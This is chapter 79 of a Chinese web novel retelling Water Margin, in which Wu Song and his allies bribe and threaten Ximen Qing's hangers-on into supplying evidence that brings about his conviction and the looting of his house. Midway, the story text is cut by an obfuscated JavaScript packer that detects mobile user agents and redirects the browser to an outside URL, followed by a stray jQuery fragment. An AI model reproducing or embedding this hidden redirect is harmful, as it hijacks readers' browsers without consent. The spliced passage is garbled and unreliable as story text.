79. 打狗

作品:《在水浒中做女帝

    西门庆一身绫罗绸缎,放下礼物,摇着洒金折扇逍遥入座后,口中先赞了几句武松打虎英雄名震阳谷,歉道自家不曾摆宴为英雄接风洗泥……


    之后便笑吟吟地打量起武松来。


    士别三日,当真得刮目相看,这武二离开此地也不过三两月,便已与曾经天差地别起来。人更悍勇无畏了,金银财货有了,声望亦大了,或许美人此时也在抱了罢。


    真教人难以置信且羡慕啊。


    他又是忌惮,又很自如地与武松寒暄,说些场面上的和睦话,左不过是些邻里邻居、互帮互助、互相提携的虚词。


    武松亦笑望着西门庆这衣冠禽兽,勉强口里应着。心中却是上浮一轮皎皎明月,下烧一团乱烘烘无处发作的杀气。


    见了此人,他总有股剁人剜心的冲动。若非不想此刻手上站了血腥,他早便提刀上去了。


    西门庆对此却浑然不觉,反而迫不及待地去剥武松身上的逆鳞,触他的虎须:“武兄弟这般英雄了得,想来与贵人相助必有缘由。前番你与一位姓张名英的相交莫逆,不知这位张英兄台如今何在?何不再请至阳谷县,亦带携小弟则个?”


    武松继续扯出个看死人的笑来,强压怒气道:“我那兄弟生意繁忙,近来都不得空闲,却教大官人空跑此遭。”


    西门庆何等油滑,怎肯轻易揭过?又凑近些,语气带几分暧昧试探:“武兄弟这便是见外,我也和你一般真心敬慕那人,莫不是武兄弟和她已有了……”


    武松并没听出其中深意,岔开话头只吹嘘打虎之事。西门庆见他油盐不进,再问也是无用,只得又虚与委蛇说笑几句,揣着一肚子不甘与猜测,起身告辞离去。


    武松心中气大,但也起身送西门庆出了门去。


    待他走远,武松当即挪步去寻了周天等商议,几人直说到深夜才散。


    又一日午时,潘金莲从店铺归家生火造饭,半路被隔壁王婆截住。两人只说了不到一刻时光,她便满脸臊红地从那茶坊小跑回来。


    武松远远地早瞧见这一幕,就在家中把了门,山一般立着,等着嫂嫂据实以告。


    潘金莲也生了些怒气,不知是对王婆的,还是对武松的。她愤愤原封不动地学舌道:“那风婆子方才拉着我混说,说外面有人传你如今发迹扬名,全是靠着我义弟张英,还说……还说你早已和他做了夫妻,有了首尾,才这般不顾家里哥嫂,也不肯在阳谷县娶亲,莫不是做了人家上门女婿?”


    这话甫一入耳,武松只觉一股恶火直冲顶门,将他一凛凛汉子竟也气得浑身发颤。


    拍案而起,他惊怒道:“这老猪狗放的甚屁!也敢这般污人名声?我武二顶天立地,义气为重,与哥哥乃是八拜之交,肝胆相照,何曾有那些腌臜龌龊念头?他辱我便罢了,竟敢这般折辱我兄长清誉——”


    哥哥光风霁月,不过是天照地顾,生得过于俊秀了些,居然也被那龌龊之人如此揣测!


    他武松又无甚龙阳断袖之癖……


    端的可恨!可恨!


    怒到极处,武松又强行按捺下来,心知这必是那西门庆在背后撺掇嚼舌根。留这祸害一日,果然便生一桩是非出来。


    得除此人,速除为上!


    然这回武松可不是甚么单枪匹马之人,也不需要只凭一双手、一颗孤胆便上,他身后有的是兄弟。


    开心七侠中的老四很快帮武松带了一个西门庆的帮闲来。


    七侠平日里将依附西门庆的几个狐朋狗友延请过几个,几番软硬兼施拉拢之下,最后成功策反了一个名叫谢希大的。


    这谢希大本是破落户子弟,自幼父母双亡,他也游手好闲,不务正业,一身油滑市井气,专会跟着西门庆吃喝嫖赌,阿谀奉承,是其身边最得力的帮闲之一。


    西门庆内里的阴私勾当,此人知晓不少。


    酒过三巡,银钱到位,谢希大这酒肉朋友很快便抖落出西门庆素日放高利贷、霸占人妻、欺压良善、以次充好、售卖假药等多桩恶行。


    这些“好事”在座几人谁不心知肚明?满阳谷县的人都听过些的。


    武松起身栓了门,又回来唱了个大喏,施施然坐下,谢希大嘻嘻哈哈半醉间,还要同他把盏,早被武松一把拖住了。


    掣出一把尖刀拍在桌上,武松抬首饮下那冷酒,“当”地将碗磕在谢希大面前。


    谢希大被打虎英雄此遭吓得一个激灵,瞬间酒醒大半,灵台也登时清明了,罔知所措道:“大哥有话好说,可是小弟方才失当?或哪里做的不周全,惹得大哥震怒?”


    武松眼如寒星,只望住谢希大不言不语。


    谢希大就更受惊吓了,腿一软便要跪地,但他被武松单手按住肩头,那力道如泰山压顶,实让他丝毫动弹不得。


    只好转头向周天求饶:“周大哥,千万帮帮小弟说情。”


    周天从怀中摸出一锭沉甸甸的银子,“当啷”放在桌上,又推过一叠散碎银两,满目含笑道:“谢兄弟切莫惊慌,这些你先拿去用度。”


    谢希大根本不敢去接,他脸上都起白毛汗了。


    那老四就适时出场道:“好哥哥,你需知道,我几个要的不是甚么空口白话,是实打实的东西哩。”


    实打实的东西是什么?


    谢希大脑子灵泛,眼睛一转,很快想通:这一群人要搞自己的“好兄弟”西门庆了,或是看中了其产业,或是其挡了他们的路,或是因为兄弟要抢……武壮士的嫂子、女人?结下了仇怨?


    总之,他再做不得墙头草,得实打实地反水,并去帮忙搜集扳倒西门庆的证据。


    甚么借据、契约、人证、苦主……一桩桩一件件得,都得从记忆里扒拉出来,再拢齐全。


    谢希大试探着将自己想的这些说出来后,就感觉肩头的手果然放开。


    “呼——”他暗暗松一口气,跳到嗓子眼儿的心这才慢慢归置原位。


    果然猜对了,他怎敢惹徒手打虎的莽夫啊,这武二看着能杀人全家那种!


    可怕,实在可怕!


    让他都不敢插科打诨,怕这汉子一言不合就暴起剁他脑袋。


    武松不动手后,便动嘴了,他慢道:“今夜也烦哥哥细细告诉武二些消息……”


    周天等尽管打听出了西门庆那生药铺的一些模糊底细,如:药材从何处采买,与哪些客商往来,水路陆路怎么走,进出货价,库房位置,经手之人等等。


    但哪些是正经药材,哪些是其掺假牟利、甚至私藏夹带的黑货,忙碌的七侠们至今也没能摸得一清二楚。


    “哥哥将自家晓得的,一字不差报与我知晓。”武松给谢希大敬酒,又客客气气给他夹菜。


    这是看中了他兄弟的命根子


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17445980|194107||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    啊,谢希大战战兢兢接过酒,小心翼翼咽了菜,连连应声:“小弟明白!小人都明白!这便说与几位听。”


    他说,周天便记,其余几人将谢希大说的与自家几个平日获得的消息进行比对,很快就整理出了眉目。


    夜半三更,武松亲自将那谢希大送回了家,在他家门口淡淡吩咐道:“或是不小心走漏半分风声,武二却不识得哥哥的三亲六故。”


    他三亲六故早死绝了哩,但家里还有个他自个儿。谢希大死死攥住银两,赔着笑:“晓得的,都晓得的。”


    反正西门庆本就不是真心待他,不过是把他当条狗使唤,不如便铁了心倒向开心百货这边罢。


    身边人背叛果然快而狠辣,不出三日,谢希大便偷偷到了紫石街,不仅带来了西门庆的几桩罪证,还把西门庆的头号大帮闲应花子也一并策反过来了。


    那应伯爵比谢希大更贪更滑,见武松拳头大,其后又有些势力,还有真金白银砸过来,装模作样地为难几番后,就把西门庆那些见不得光的勾当一股脑倒了出来。


    他与谢希大一个管内账,一个管外务,不过几日功夫,厚厚一叠罪状证据便送到了周天与武松面前。


    另外,甚么生药铺的暗账,库房密道,与官府胥吏的分润规矩等,亦是一应俱全,分毫毕现。


    周天看着二人后呈的这些条目,心中大定。


    当即又拿出大笔银钱,分与谢希大、应伯爵,他笑眯眯鼓励这二人“为民做主”,把那些被西门庆坑害过的苦主都寻出来,晓以利害,引他们去县衙告状。


    “你们只说是为民除害,不必提我等。事成之后,还有重谢。”


    谢、应二人面面相觑,无毒不丈夫,已至这一步,安有回头路可走?皆喏喏应下,小人嘴脸尽现地“幡然悔悟”。


    武松见状心下不齿,嘴上依旧冷冷威胁:“若是敢临阵退缩,或有反水……”


    二人忙称“不敢”,他俩个前几日被那老四透露了个惊天消息,这几个背后站的可是梁山匪寇,教他们怎敢再倒戈?需知几家官府老爷也不敢正眼看梁山哩。


    之后,又一番衙门上下打点。


    便到了远近闻名的刁徒泼皮西门庆的审判日。


    阳谷县令本想着西门庆有当朝蔡太师的一点关系,他亦受了其之贿赂,可适当通融一二。


    但谁知这桩事竟不知怎的已传到了上级东平府处,甚至还有一册发行书目里隐含了此事,弄得人尽皆知,市民愤慨。


    陈文昭甚至遣人“提点”了下来。


    这还怎么包庇?


    念在往日收的孝敬上,知县宽容再宽容,重罪吸收轻罪,也让西门庆得了六十杖刑和流放三千里之外。


    至于其万贯家产呢?当然籍没充公,统统充公!


    充公好啊,正好中饱私囊。


    谁知衙门里人还没来得及去抄家,西门宅子里就遭了盗贼,连同隔壁清河县的张大户家,几乎一夜之间被洗劫一空。


    西门庆的家里的三个小妾,若不是逃得飞快,也差点一道被抢上匪山去。


    知县:“……”


    好好好!


    好一桩天知地知你知我知的勾当!


    但知县大老爷也实在划不来追究了,反而还得使劲浑身解数地帮忙压下这桩匪患事,他还想把这小半年安然混满呢。